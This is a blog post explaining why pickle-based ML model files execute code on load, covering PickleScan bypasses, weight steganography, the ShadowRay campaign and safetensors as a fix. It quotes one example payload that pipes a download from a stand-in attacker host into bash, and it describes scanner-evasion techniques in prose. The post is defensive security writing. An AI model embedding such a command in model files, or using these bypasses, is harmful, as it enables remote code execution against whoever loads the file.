A Model File Is Not a Spreadsheet

A Model File Is Not a Spreadsheet

August 14, 2026
ml-security serialization supply-chain pickle mlops

When you call torch.load() on a downloaded checkpoint, you’re not reading data — you’re executing code written by a stranger.

This isn’t a metaphor. It’s a literal description of how PyTorch’s default serialization format works. The .pt and .bin files that flow through ML pipelines are pickle files, and pickle’s entire model is that deserialization means execution. When you load one, Python calls the __reduce__ method on every embedded object, which can return any callable with any arguments. An attacker who knows this can embed os.system("curl attacker.com/payload | bash") directly into what looks like a weight tensor. Your data science team runs torch.load(), and a shell opens.

The ML ecosystem made a category error early on. Model files got mentally filed alongside CSVs and Parquet files — inert data artifacts you download, inspect, and use. The entire surrounding infrastructure reflects this assumption. Model hubs display file sizes and download counts. MLOps dashboards track inference latency and token throughput. Security scanners look for known CVE signatures. None of this is oriented toward the actual threat model, which is that a model file is more like a binary executable than a dataset.

The Scanner Trap

When the community recognized the pickle problem, the response was to build static scanners. PickleScan became the canonical tool, and Hugging Face integrated it directly into the hub. Uploads get scanned; dangerous models get flagged. Problem solved, or so it seemed.

In late 2025, JFrog researchers found three ways to bypass PickleScan entirely — all rated CVSS 9.3. The bypasses are instructive because they reveal something deeper than a tool deficiency. One involved renaming a malicious .pkl file to .bin: PickleScan saw a PyTorch extension, tried PyTorch-specific parsing, failed, and returned no findings. PyTorch loaded it anyway, from content rather than extension. Another exploit corrupted the ZIP archive’s CRC checksum — Python’s zipfile module halted on the error, so PickleScan never finished scanning, while PyTorch loaded the file just fine. A third used subclasses of blocked modules to sneak past the blocklist entirely.

The pattern here isn’t “PickleScan has bugs.” It’s that any gap between how a scanner parses a file and how the runtime loads it becomes an attack surface. And when the format is designed around arbitrary code execution, that gap is structurally unavoidable. Static analysis of an inherently dynamic execution format is a category mismatch, not a solvable engineering problem.

The CVE Framework Doesn’t Apply Here

I’ve been thinking about why the traditional security apparatus has struggled so much with this. Part of it is the CVE framework itself. CVEs assume deterministic bugs — you have a known input that triggers a known bad output, you patch the code, the vulnerability is gone. AI/ML vulnerabilities don’t work that way.

The statistics bear this out grimly. An empirical study of over 6,000 AI/ML bug bounty reports found that 49.5% of AI/ML vulnerabilities remained unpatched after disclosure. For non-AI software in the same dataset, that number was 0.03%. And 44.4% of CVE-assigned AI/ML vulnerabilities were missing from the NVD entirely — meaning the alert systems enterprises depend on never pinged.

Some of this is technical. You can’t patch a pickle vulnerability in a model file the way you patch a buffer overflow — you’d need to re-serialize the weights in a different format. Some is organizational. The people who trained the model aren’t responsible for the infrastructure that loads it, which isn’t run by the people who own the security perimeter. Responsibility is diffuse.

The Ghost in the Weights

There’s an even stranger attack vector worth understanding: tensor steganography. Neural network weights are floating-point numbers with more precision than the model’s inference actually requires. Researchers demonstrated that you can hide up to 9MB of arbitrary payload in the least significant bits of a model like ResNet18, with essentially no measurable impact on accuracy. The malware lives inside the numbers themselves.

This means EDR tools are blind to it. There’s no suspicious binary on disk, no unusual import, no flagged function call — just a model that performs exactly as benchmarked. The payload only extracts and executes when triggered through an exploitable loading path. Your monitoring stack sees normal inference metrics right up until it doesn’t.

The ShadowRay campaign — where attackers exploited an unauthenticated API in the Ray distributed training framework to compromise GPU clusters at scale — is the live version of this class of threat. The MLOps dashboards monitoring those clusters showed normal token throughput while cryptominers and DDoS bots ran on the same machines. The observability tooling was designed to watch the model, not the infrastructure underneath it.

The Actual Fix Is Simple, But Adoption Isn’t

safetensors is the answer to the serialization problem. It stores only tensors, executes no code on load, and neutralizes both the pickle exploit and the tensor steganography vector simultaneously. It exists, it works, and migrating to it is not technically difficult. Despite this, roughly half of popular repositories on Hugging Face still contain pickle-based models — including submissions from major tech companies that definitely have security teams.

The tooling is solving for a threat model where models are data. The actual threat model is one where models are code with a data-shaped interface. Until that mental model shifts in the people building the platforms, the scanners, and the deployment pipelines, the gap between what security teams think they’re protecting and what they’re actually exposing will keep widening.

I’m genuinely uncertain what causes that shift — a large enough incident, regulatory pressure, or just slow accumulation of awareness. But I notice that the researchers who understand this problem most clearly keep reaching for the same analogy: model hubs are the new npm. We already know how that story goes.


Sources

We Sold China the Keys to Our Supply Chain, Then Called It a Threat

April 24, 2026
supply-chain geopolitics rare-earths corporate-incentives manufacturing
comments powered by Disqus